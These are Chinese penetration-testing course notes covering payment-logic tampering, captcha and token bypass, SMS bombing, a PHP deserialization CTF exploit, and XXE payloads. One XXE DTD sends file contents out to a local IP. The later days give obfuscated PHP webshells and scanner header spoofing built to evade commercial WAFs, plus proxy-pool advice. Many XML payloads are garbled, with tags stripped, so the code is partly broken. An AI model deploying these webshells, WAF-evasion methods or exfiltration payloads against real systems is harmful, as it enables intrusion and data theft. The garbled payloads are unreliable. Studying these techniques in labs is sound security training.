4.某商场系统商品支付逻辑测试-数量,订单
打开靶场
小迪WEB_第442张图片
抓包看到有商品的数量
小迪WEB_第443张图片
我们可以修改商品的数量,这样就可以修改支付价格
小迪WEB_第444张图片
小迪WEB_第445张图片

我们还可以修改商品的订单,用低价购买到商品
小迪WEB_第446张图片

小迪WEB_第447张图片
5.某建站系统商品支付逻辑测试-价格,商品
打开靶场
小迪WEB_第448张图片

可以看到有商品的数量和价格
小迪WEB_第449张图片
这里我们修改价格
小迪WEB_第450张图片
6000 大米测试产品
/index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%
AF%95%E4%BA%A7%E5%93%81&qty=1&price=6000>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uplo
ads/thumb/thumb_1393218295.jpg

5400 大米手机 cms
/index.php?m=Member&a=gobuy&iscart=0&id=70&name=%E5%A4%A7%E7%B1%B3%E6%89%8B%E6%9
C%BACMS&qty=2&price=5400>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_13
93218295.jpg
上面两个数据包,商品的名称、数量、价格都不一样,都可以是我们修改的地方。

index.php?s=/wap/pay/wchatQrcodePay 微信支付
index.php?s=/wap/pay/alipay 支付宝支付
index.php?s=http://www.xiaodi8.com/alipay 调用其他的支付接口
$ pay_name=$_GET[‘s’];

6000 是存储到数据库里,安全的做法:以数据库的数据值为准

第35天:WEB 漏洞-逻辑越权之找回机制及接口安全

找回重置机制

客户端回显,Response 状态值,验证码爆破,找回流程绕过等

一个页面操作数据的流程问题
跳过步骤的流程问题
1.发送验证码
2.验证
3.重置密码

1-3 跳过2 流程问题

接口调用乱用

短信轰炸,来电轰炸等

演示案例

1.找回密码验证码逻辑-爆破测试-实例

2.墨者靶场密码重置-验证码套用-靶场
打开靶场
小迪WEB_第451张图片
小迪WEB_第452张图片
然后我们点击重置密码
我们可以抓包修改电话号码,达到修改密码的目的,得到验证码
小迪WEB_第453张图片
小迪WEB_第454张图片
3.手机邮箱验证码逻辑-客户端回显-实例
小迪WEB_第455张图片
可以直接看到验证码,在客户端回显
小迪WEB_第456张图片
4.绑定手机验证码逻辑-Rep 状态值篡改-实例
打开靶场
在这里插入图片描述

可以用Burpsuite抓响应包
小迪WEB_第457张图片

这里可以看到响应包里面有一个数字3,这个3就代表输入的验证码错误。
小迪WEB_第458张图片
我们把数字修改成1,就可以成功输入验证码小迪WEB_第459张图片
5.某 APP 短信轰炸接口乱用-实例接口调用发包
在网站上找到发短信的应用接口,比如发送验证码,把这些接口整合到一起,用程序批量遍历循环,就可以实现短信轰炸。

第36天:WEB 漏洞-逻辑越权之验证码与Token接口

逻辑越权:
小迪WEB_第460张图片

验证安全:
小迪WEB_第461张图片
小迪WEB_第462张图片

验证码安全

分类:图片,手机或邮箱,语音,视频,操作等
原理:验证生成或验证过程中的逻辑问题
危害:账户权限泄漏,短信轰炸,遍历,任意用户操作等
漏洞:客户端回显(已讲),验证码复用,验证码爆破(已讲),绕过等

token安全

案例演示

1.验证码识别插件及工具操作演示-实例
下载一个图片验证码的识别工具
小迪WEB_第463张图片
打开一个实例网站
https://manage.yyxueche.com/panel/login.php
小迪WEB_第464张图片
我们使用上面的工具,就可以识别出验证码,把网站地址和请求头都复制到这个工具上,就可以开始识别了,得到验证码,会有一定的报错,但是准确率还是挺高的
小迪WEB_第465张图片
在Burp上,也有插件,也可以识别验证码的
小迪WEB_第466张图片
这里有文章可以参考一下这个插件
https://www.cnblogs.com/nul1/p/12071115.html

2.验证码绕过本地及远程验证-本地及实例
看一下本地搭建的靶场
首先看一下验证码绕过(on server)
小迪WEB_第467张图片
在intruder里验证码可重复使用,爆破的时候验证码不会报错
小迪WEB_第468张图片

再看一下验证码绕过(on client)
抓包看一下,把验证码删除掉,可以成功登陆,由于是前端验证,直接抓包重放删除验证码传参,也不会返回验证码不能为空
小迪WEB_第469张图片
3.Token客户端回显绕过登录爆破演示-本地
找token规律也找不出来,但是可以通过抓包发现,返回了下一次使用的token:
小迪WEB_第470张图片
满足以上条件我们就可以使用burp的音叉攻击进行爆破,线程必须为1,参数为password和token。
password载荷设置:
小迪WEB_第471张图片
token载荷设置,类型为递归搜索:
小迪WEB_第472张图片
选项添加Grep-Extract:
小迪WEB_第473张图片
上图中,第五步复制的value值放入下图中:
小迪WEB_第474张图片
线程设置为1,一定要记住,开始攻击:
小迪WEB_第475张图片
4.某 URL 下载接口 ID 值调用遍历测试-实例
测试网址http://www.grasp.com.cn/DownFiles.aspx?id=591
用BurpSuite字典暴力攻击
小迪WEB_第476张图片
这种尝试类似于水平越权:
xiaodi uid=10
1-1000 尝试能不能获取到其他编号对应的用户信息
5.Callback 自定义返回调用安全-漏洞测试-实例
打开的网站上,url有callback,可以尝试进行跨站攻击
小迪WEB_第477张图片
小迪WEB_第478张图片

第37天:反序列化之PHP&JAVA全解(上)

小迪WEB_第479张图片
小迪WEB_第480张图片

PHP 反序列化

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
参考链接:https://www.cnblogs.com/20175211lyz/p/11403397.html

__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

小迪WEB_第481张图片

演示案例

1.先搞一把 PHP 反序列化热身题稳住-无类问题-本地


error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
class ABC{
public $test;
function __construct(){
$test =1;
echo '调用了构造函数
'
; } function __destruct(){ echo '调用了析构函数
'
; } function __wakeup(){ echo '调用了苏醒函数
'
; }} echo '创建对象 a
'
; $a = new ABC; echo '序列化
'
; $a_ser=serialize($a); echo '反序列化
'
; $a_unser = unserialize($a_ser); echo '对象快要死了!'; ?>

靶场中测试
小迪WEB_第482张图片
在线php转序列化和反序列化
在这里插入图片描述
我们在GET中输入序列化得到的内容,得到flag
小迪WEB_第483张图片
2.在撸一把 CTF 反序列化小真题压压惊-无类执行-实例
题目链接
这题和小迪里面讲的不一样了,已经变题了。
小迪WEB_第484张图片
在admin.css有这样一个提示
在这里插入图片描述
我在后面加一个一下,得到了php源码,反序列化的
小迪WEB_第485张图片
我们只需要添加上去的Cookie的值,等于$KEY,就可以得到flag,并且还有一个地方就是,GET传参那里,需要修改传入的参数,否则无法绕过ifelse。
小迪WEB_第486张图片
3.最后顶一把网鼎杯 2020 青龙大真题舒服下-有类魔术方法触发-实例
首先 ctf 命名及代码函数 unserialize 判断反序列化知识点
第一:获取 flag 存储 flag.php
第二:两个魔术方法__destruct __construct
第三:传输 str 参数数据后触发 destruct,存在 is_valid 过滤
第四:__destruct 中会调用 process,其中 op=1 写入及 op=2 读取
第五:涉及对象 FileHandler,变量 op 及 filename,content,进行构造输出

涉及:反序列化魔术方法调用,弱类型绕过,ascii 绕过
使用该类对 flag 进行读取,这里面能利用的只有__destruct 函数(析构函数)。__destruct 函数对
$ this->op 进行了= = =判断并内容在 2 字符串时会赋值为 1,process 函数中使用==对$this->op 进行判
断(为 2 的情况下才能读取内容),因此这里存在弱类型比较,可以使用数字 2 或字符串’ 2’绕过判断。
is_valid 函数还对序列化字符串进行了校验,因为成员被 protected 修饰,因此序列化字符串中会出
现 ascii 为 0 的字符。经过测试,在 PHP7.2+的环境中,使用 public 修饰成员并序列化,反序列化后
成员也会被 public 覆盖修饰。

特别的直白,打开就是php代码



include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
"
; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }

然后我们一段一段来读代码
首先有一个变量str,GET传参,进入了is_valid这个函数里,这个函数要求str输入的字符的ascll码的值必须在32~125之间,因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。
绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

__destruct()魔术方法
这里===是强比较,必须是类型和数值一样,这里我们给op=2,这样就可以绕过, ==是弱比较,可以返回正确结果

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

然后自己写脚本,本地进行序列化


class FileHandler{
	public $op = 2;
	public $filename = "flag.php";
	public $content = "xd";
}
$str = new FileHandler;
var_dump(serialize($str));

小迪WEB_第487张图片

O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:8:“flag.php”;s:7:“content”;s:2:“xd”;}

执行过后,得到flag
小迪WEB_第488张图片

第39天:WEB 漏洞-XXE&XML 之利用检测绕过全解

小迪WEB_第489张图片

漏洞原理

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害

XML和HTML的主要差异
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。

XML语法




<!DOCTYPE note [ 
<!ELEMENT to (#PCDATA)> 
<!ELEMENT from (#PCDATA)> 
<!ELEMENT head (#PCDATA)> 
<!ELEMENT body (#PCDATA)> 
]]]>

<note>
<to>Daveto>
<from>Tomfrom>
<head>Reminderhead>
<body>You are a good manbody>
note>

DTD

文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明
DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
DOCTYPE 根元素 SYSTEM ”文件名”>
#DTD 实体
(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>

XXE漏洞修复与防御方案

php,java,python-过滤及禁用

方案一:禁用外部实体
PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案 2-过滤用户提交的 XML 数据
过滤关键词:

案例演示

小迪WEB_第490张图片
1.pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入
打开靶场
小迪WEB_第491张图片
玩法-读文件
在本地创建一个test.txt


DOCTYPE ANY [

]>
<x>&xxe;x>

执行上面的代码,文件读取成功
小迪WEB_第492张图片
玩法-内网探针或攻击内网应用(触发漏洞地址)


DOCTYPE foo [
<!ELEMENT foo ANY >

]>
<x>&rabbit;x>

玩法-RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令


DOCTYPE ANY [

]>
<x>&xxe;x>

引入外部实体 dtd


DOCTYPE test [

%file;
]>
<x>&send;x>
evil2.dtd:

小迪WEB_第493张图片

无回显-读取文件


DOCTYPE test [


%dtd;
%send;
]>

test.dtd:

% send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;

协议-读文件(绕过)
参考链接:https://www.cnblogs.com/20175211lyz/p/11413335.html


DOCTYPE ANY [  ]>
<x>&f;x>

2.CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
题目链接:http://web.jarvisoj.com:9882/
小迪WEB_第494张图片
输入抓包看一下
小迪WEB_第495张图片
更改请求数据格式:application/xml
并且执行xml代码


DOCTYPE ANY [

]>
<x>&f;x>

小迪WEB_第496张图片
返回数据包
小迪WEB_第497张图片
3.xxe-lab 靶场登陆框 xml 数据传输测试-检测发现
打开靶场
小迪WEB_第498张图片
1.提交的数据包含 XML 格式如:

<forgot><username>adminusername>forgot>

2.请求头中如:

Content-Type:text/xml 或 Content-type:application/xml

DOCTYPE Mikasa [

]>
<user><username>&test;username><password>Mikasapassword>user>

4.xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
小迪WEB_第499张图片

第42天:漏洞发现-操作系统之漏洞探针类型利用修复

角色扮演:操作系统权限的获取会造成服务器上安全问题
漏扫工具:Goby,Nmap,Nessus,Openvas,Nexpose等
漏洞类型:权限提升,缓冲器溢出,远程代码执行,未知bug等
漏洞利用:工具框架集成类,漏洞公布平台库类,复现文章参考等
漏洞修复:打上漏洞补丁,关闭对应入门点,加入防护软件硬件等
小迪WEB_第500张图片

相关名词解释

CVSS,CVE,EXP,POC等
—>exp: 利用
—>poc:验证
小迪WEB_第501张图片
小迪WEB_第502张图片

演示案例

1.漏洞扫描工具演示-Goby,Nmap,Nessus(操作)
Goby 忍者系统测试
小迪WEB_第503张图片
Nmap --script=vuln 默认 nse 插件
Nmap vulscan vulners 调用第三方库探针
参考链接
小迪WEB_第504张图片
Nessus 安装-使用-插件库加载扫描
安装 nessus 执行命令的时候一定要管理员运行执行
小迪WEB_第505张图片
2.漏洞类型区分讲解-权限提升,远程执行等(思路)

3.漏洞利用框架演示-Metasploit,Searchsploit 等(操作)
Searchsploit
小迪WEB_第506张图片
小迪WEB_第507张图片
msfconsole
小迪WEB_第508张图片

-c, --case[Term]执行区分大小写的搜索,缺省是对大小写不敏感。
-e, --exact [Term]对 exploit 标题执行 EXACT 匹配(默认为 AND)
-h, --help 在屏幕上显示帮助
-j, --json[Term]以 JSON 格式显示结果
-m, --mirror [EDB-ID]将一个漏洞利用镜像(副本)到当前工作目录,后面跟漏洞 ID 号
-o, --overflow [Term]Exploit 标题被允许溢出其列
-p, --path[EDB-ID]显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞 ID 号
-t, --title[Term]仅仅搜索漏洞标题(默认是标题和文件的路径)
-u, --update 检查并安装任何 exploitdb 软件包更新(deb 或 git)
-w, --www [Term]显示 Exploit-DB.com 的 URL 而不是本地路径(在线搜索)
-x, --examine[EDB-ID]使用$ PAGER 检查(副本)漏洞利用
–colour 在搜索结果中禁用颜色突出显示.
–id 显示 EDB-ID 值而不是本地路径
–nmap[file.xml]使用服务版本检查 Nmap XML 输出中的所有结果(例如:nmap -sV -oX file.xml)。
使用“-v”(详细)来尝试更多的组合
–exclude="term"从结果中删除值。通过使用“|”分隔多个值,例如–exclude
=“term1 | term2 | term3”

4.漏洞利用-单点EXP
1377day
小迪WEB_第509张图片
国家信息安全漏洞共享平台
小迪WEB_第510张图片
知道创宇Seebug漏洞平台
小迪WEB_第511张图片
https://www.exploit-db.com
小迪WEB_第512张图片

第43天:漏洞发现-WEB应用之漏洞探针类型利用修复

小迪WEB_第513张图片
已知 CMS
如常见的 dedecms.discuz,wordpress 等源码结构,这种一般采用非框架类开发,但也有少部分采用的是框架类开发,针对此类源码程序的安全检测,我们要利用公开的漏洞进行测试,如不存在可采用白盒代码审计自行挖掘。

开发框架
如常见的 thinkphp,spring,flask 等开发的源码程序,这种源码程序正常的安全测试思路:先获取对应的开发框架信息(名字,版本),通过公开的框架类安全问题进行测试,如不存在可采用白盒代码审计自行挖掘。

未知 CMS
如常见的企业或个人内部程序源码,也可以是某 CMS 二次开发的源码结构,针对此类的源码程序测试思路:能识别二次开发就按已知 CMS 思路进行,不能确定二次开发的话可以采用常规综合类扫描工具或脚本进行探针,也可以采用人工探针(功能点,参数,盲猜),同样在有源码的情况下也可以进行代码审计自行挖掘。

演示案例

1.开发框架类源码渗透测试报告-资讯-thinkphp,spring
thinkphp报错
小迪WEB_第514张图片

用一些工具,可以帮忙查询一些框架的漏洞
小迪WEB_第515张图片
小迪WEB_第516张图片
这里还有spring的框架漏洞,自己可以复现学习一下,我就不搞了
小迪WEB_第517张图片
2.已知 CMS 非框架类渗透测试报告-工具脚本-wordpress
打开墨者靶场
小迪WEB_第518张图片
再安装wpscan,扫描出漏洞
小迪WEB_第519张图片
3.已知 CMS 非框架类渗透测试报告-代码审计-qqyewu_php
审计一个小众的CMS
小迪WEB_第520张图片
可以采用工具Seay源代码审计系统
小迪WEB_第521张图片
4.未知 CMS 非框架类渗透测试报告-人工-你我都爱的 wg 哦~
最后是采用实例的,不过关键部分的视频被剪辑掉了,所以懂得都懂,我也就不复现了。

第44天:漏洞发现-APP应用之漏洞探针类型利用修复

小迪WEB_第522张图片

思路说明

反编译提取 URL 或抓包获取 URL,进行 WEB 应用测试,如不存在或走其他协议的情况下,需采用网
络接口抓包进行数据获取,转至其他协议安全测试!

APP->WEB APP->其他 APP->逆向
WEB 抓包,其他协议抓包演示及说明
未逆向层面进行抓包区分各协议测试
逆向层面进行提取 APK 代码层面数据

案例演示

1.抓包工具 WEB 协议面使用说明
在APP中设置代理,并且去抓包,因为之前的笔记写过如何在APP设置代理,我这里就不再写了。
这里用Burp suite抓的包
小迪WEB_第523张图片
点击的页面越多,产生的数据包越多
小迪WEB_第524张图片
可以根据APP找到的地址,在电脑上访问页面
小迪WEB_第525张图片

这里用的Charles抓包
小迪WEB_第526张图片
网站打不开,这个APP涉及到的网站有检测唯一性,只能在APPA或者手机客户端访问,所以有些网址打不开,检测你用的什么客户端访问。
小迪WEB_第527张图片
上面是电脑端的数据包,下面是手机客户端的数据包,有明显的不一样。
小迪WEB_第528张图片
修改数据包访问,如何做到漏洞扫描?
利用扫描工具,设置里面,修改扫描的http头部

这里用的抓包精灵抓的包,只能抓web协议
小迪WEB_第529张图片
2.抓包工具非 WEB 协议面使用说明
用wireshark抓包,是在网络接口处抓包,基本上都能抓到,需要自己筛选。
小迪WEB_第530张图片
3.安卓逆向便捷 APK 一键提取 URL 演示
用漏了个大洞这个工具,反编译APP,获取URL
小迪WEB_第531张图片
找到urls.txt,里面有我们获得URL路径
小迪WEB_第532张图片
4.利用 Burp 筛选及联动功能打出军体拳
用BurpSuite和xray联动监听数据
小迪WEB_第533张图片
BurpSuite先抓到数据包,xray在接收到数据包,然后进行漏洞扫描。
5.模拟器四个违法案例 APP 安全分析测试
因为我做笔记的时间有点晚了,所以很多的APP网站都跑路了,没得办法,我自己也没办法去测试了。

第45天:漏洞发现-API接口服务之漏洞探针类型利用修复

小迪WEB_第534张图片
端口服务类安全测试
根据前期信息收集针对目标端口服务类探针后进行的安全测试,主要涉及攻击方法:口令安全,WEB类漏洞,版本漏洞等,其中产生的危害可大可小。属于端口服务/第三方服务类安全测试面。一般在已知应用无思路的情况下选用的安全测试方案。

API 接口-WebServiceRESTful API
根据应用自身的功能方向决定,安全测试目标需有 API 接口调用才能进行此类测试,主要涉及的安全问题:自身安全,配合 WEB,业务逻辑等,其中产生的危害可大可小,属于应用 API 接口网络服务测试面,一般也是在存在接口调用的情况下的测试方案。
WSDL
WSDL(网络服务描述语言,Web Services Description Language)是一门基于 XML 的语言,用于描述Web Services 以及如何对它们进行访问
学习链接

漏洞关键字:
配合 shodan,fofa,zoomeye 搜索也不错哦~
inurl:jws?wsdl
inurl:asmx?wsdl
inurl:aspx?wsdl
inurl:ascx?wsdl
inurl:ashx?wsdl
inurl:dll?wsdl
inurl:exe?wsdl
inurl:php?wsdl
inurl:pl?wsdl
inurl:?wsdl
filetype:wsdl wsdl

测试案例
http://testaspnet.vulnweb.com/acuservice/service.asmx?WSDL
小迪WEB_第535张图片

演示案例

1.端口服务类-Tomcat弱口令安全问题
利用报过漏洞的端口,来实现漏洞复现
小迪WEB_第536张图片
2.端口服务类-Glassflsh任意文件读取
利用Goby扫描
小迪WEB_第537张图片
去网上看一下有什么漏洞可以利用
小迪WEB_第538张图片

3.其他补充类-基于端口WEB站点又测试
网站后面加端口是一个网站
小迪WEB_第539张图片
不加端口是另一个程序
小迪WEB_第540张图片
相当于我们有两个测试目标
4.其他补充类-基于域名WEB站点又测试
我们可以从三个方面来获取域名WEB的信息
1.注册人
小迪WEB_第541张图片
2.域名登记
小迪WEB_第542张图片
3.特有信息
从域名后缀,域名特有商,网站的标识去查询收集信息
5.其他补充类-基于IP配合端口信息再收集
小迪WEB_第543张图片
目录扫描的时候是多方位,可以加上端口一起扫描小迪WEB_第544张图片
实例:
小迪WEB_第545张图片
6.口令安全脚本工具简要使用-Snetcracker
只支持一些不用浏览器的协议
小迪WEB_第546张图片
https://github.com/shack2/SNETCracker/releases/
7.ARI接口类-网络服务类利用测试-AWVS
小迪WEB_第547张图片

第46天:WAF绕过-信息收集之反爬虫延迟代理池技术

防护配置:阿里云(免费)+ Safedog + 宝塔(付费插件)
绕过方案:代理池或延时

采用进程抓包工具webpathbrute数据包分析
1.直接误报或无结果
2.扫描一段时间后突然误报

扫描探针机制:
数据包拦截
速度过快拦截

先本地测试安全狗-默认拦截-数据包问题(未开CC)
先本地测试安全狗-绕过拦截-更改提交方式或模拟用户
先本地测试安全狗-默认拦截-数据包问题(开CC)
先本地测试安全狗-绕过拦截-延时或大代理池或爬虫引擎

再加一层阿里云,再加一层宝塔
小迪WEB_第548张图片

代理池技术

用多个IP,实现waf绕过,但是waf也可以识别出代理访问。
小迪WEB_第549张图片

演示案例

1.Safedog-默认拦截机制分析绕过-未开 CC
工具扫描,发现扫描字典里有多少它就返回多少,这实际上就是一种误报
小迪WEB_第550张图片
原因是浏览器收到的数据包,和工具抓到的数据包不一样。我们从划线的地方可以看到,文件头不一样
小迪WEB_第551张图片
我们使用工具修改一下文件头,下面的很多文件就都可以扫描到小迪WEB_第552张图片
未开CC的情况下,模拟用户的真实请求数据包,模拟用户真实请求浏览器的方式
2.Safedog-默认拦截机制分析绕过-开启 CC
我们开启流量防护
小迪WEB_第553张图片
看一下CC攻击防护的规则
小迪WEB_第554张图片
开启CC之后,使用工具又会有误报
小迪WEB_第555张图片
因为我们请求过于频繁,被安全狗拦截
小迪WEB_第556张图片
我们可以用延时扫描
小迪WEB_第557张图片
因为这些防护软件自己会设置一些爬虫白名单,如果不设置的话,会干扰一些网站或者业务的执行。确保网站能被正常的收入,影响网站的流量。
小迪WEB_第558张图片
这里可以模仿搜索引擎头(User-Agent),来实现绕过CC防护,但是我们测试发现还是没有用,还是需要我们模拟真实用户
小迪WEB_第559张图片
搜索引擎爬虫模拟及模拟真实用户

import requests
import time
headers={
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
#模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
#模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
#更多爬虫引擎:https://www.cnblogs.com/iack/p/3557371.html
'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider-render/2.0;
+http://www.baidu.com/search/spider.html)',
'Sec-Fetch-Dest': 'document',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/si
gned-exchange;v=b3;q=0.9',
'Sec-Fetch-Site': 'none',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
'Cookie': 'xxx',#根据当前访问 cookie
}
for paths in open('php_b.txt',encoding='utf-8'):
url='http://192.168.0.103:8081/'
paths=paths.replace('\n','')
urls=url+paths
#如需测试加代理,或加入代理池需加代理
proxy = {
'http': '127.0.0.1:7777'
}
try:
code=requests.get(urls,headers=headers,verify=False).status_code
print(urls+'|'+str(code))
if code==200 or code==403:
print(urls+'|'+str(code))
except Exception as err:
print('connecting error')
#time.sleep(3)模拟用户需延时 引擎可用可不用(根据请求速度)

3.Aliyun_os-默认拦截机制分析绕过-简要界面
阿里云-无法模拟搜索引擎爬虫绕过,只能采用代理池或延时

阿里云服务器自带防护机制,发现被攻击了,直接封IP。差不多大概一个小时。
小迪WEB_第560张图片
4.BT(防火墙插件)-默认拦截机制分析绕过-简要界面
宝塔-爬虫未知,延迟或代理池可以
小迪WEB_第561张图片
拦截了攻击者想要搜寻得备份文件,所以还需要换字典,来绕过这些。
小迪WEB_第562张图片

第47天:WAF绕过-漏洞发现之代理池指纹被动探针

小迪WEB_第563张图片

漏洞发现触发 WAF 点-针对 xray,awvs 等

1.扫描速度-(代理池,延迟,白名单等)
2.工具指纹-(特征修改,伪造模拟真实用户等)
3.漏洞 Payload-(数据变异,数据加密,白名单等)

案例演示

1.代理池 Proxy_pool 项目搭建及使用解释
安装链接:https://github.com/jhao104/proxy_pool
小迪WEB_第564张图片
2.充钱代理池直接干 safedog+BT+Aliyun 探针
花钱买一个代理
小迪WEB_第565张图片
可以很好的绕过阿里云
小迪WEB_第566张图片
3.Safedog-awvs 漏扫注入测试绕过-延时,白名单
用AWVS扫描漏洞
小迪WEB_第567张图片
有WAF的时候,记得要把扫描速度调到最低,来绕过waf
小迪WEB_第568张图片
也可以修改搜索引擎的头,改成爬虫的头,直接开扫。
小迪WEB_第569张图片
4.Aliyun_os-awvs 漏扫注入测试绕过-延时白名单

5.BT(baota)-awvs+xray 漏扫 Payload 绕过-延时被动
宝塔会禁用很多工具,根据文件头来判断,AWVS也可能会被
小迪WEB_第570张图片
每个工具判定注入的验证方式都不一样,工具被拦截,测试漏洞的语句触发了waf,这里有漏洞也不会报错,因为被waf拦截了。我们需要用多种工具,我们可以用其他工具。
小迪WEB_第571张图片

6.充钱代理池直接干 Safedog+BT+AliyunOS 漏洞发现

第48天:WAF绕过-权限控制之代码混淆及行为造轮子

小迪WEB_第572张图片
菜刀,蚁剑,冰蝎优缺点
菜刀:未更新状态,无插件,单向加密传输
蚁剑:更新状态,有插件,拓展性强,单向加密传输
冰蝎:更新状态,未知插件,双向加密传输
小迪WEB_第573张图片
单向加密和双向加密的区别
1.单向加密
返回的信息是不加密的,直接可以看的到,但是发送的数据包是加密的
在这里插入图片描述
小迪WEB_第574张图片
2.双向加密
发送的数据和接收的数据都是被加密的
小迪WEB_第575张图片
双向加密的好处
攻击代码,返回信息都加密,waf判断行为进程可疑的时候,结果被加密了waf就不一定识别了。

Safedog 代码层手写及脚本绕过

  • 变量覆盖
  • 加密混淆
  • 异或生成
    ASP,PHP,ASPX,JSP,PY 等后门免杀同理
    小迪WEB_第576张图片

BT Aliyun 代码层手写及脚本绕过

编码解码(变量覆盖,加密混淆,异或生成)

演示案例

1.Safedog-手写覆盖变异简易代码绕过-代码层


$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);

//?x=b&y=assert
//$a=b $$a=assert=$b assert($_POST['z']);
//assert($_POST['chopper']);
?>

成功绕过安全狗
小迪WEB_第577张图片
2.Safedog-基于接口类加密混淆代码绕过-代码层
代码加密脚本链接:
https://github.com/djunny/enphp
小迪WEB_第578张图片
运行过后
小迪WEB_第579张图片
就实现了代码的加密
小迪WEB_第580张图片
这里还有一个在线网站,可以在接口处加密
https://www.phpjiami.com/phpjiami.html
小迪WEB_第581张图片
加密过后的代码
小迪WEB_第582张图片
成功绕过安全狗
小迪WEB_第583张图片
额外补充的一个免杀脚本,这里
3.BT,Aliyun-基于覆盖加密变异下编码解码绕过-代码层


成功绕过安全狗
小迪WEB_第584张图片
但是会被宝塔拦截,有关键字过滤
小迪WEB_第585张图片
传入的代码进行加密后,就可以绕过宝塔


$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']);
?>

小迪WEB_第586张图片
4.Safedog-基于工具功能数据包指纹修改变异绕过-行为层
5.Safedog,BT,Aliyun-基于冰蝎新型控制器绕过全面测试-行为层
6.Safedog,BT,Aliyun-基于手写新型控制器绕过全面测试-行为层

第49天:WAF绕过-漏洞利用之注入上传跨站等绕过

小迪WEB_第587张图片

SQL 注入

如需 sqlmap 注入,修改 us 头及加入代理防 CC 拦截自写 tamper 模块,模拟一个正常用户
小迪WEB_第588张图片
在这里插入图片描述
安全狗:参考之前 payload
Aliyun:基本修改指纹即可
宝塔:匹配关键字外加/*等
在这里插入图片描述
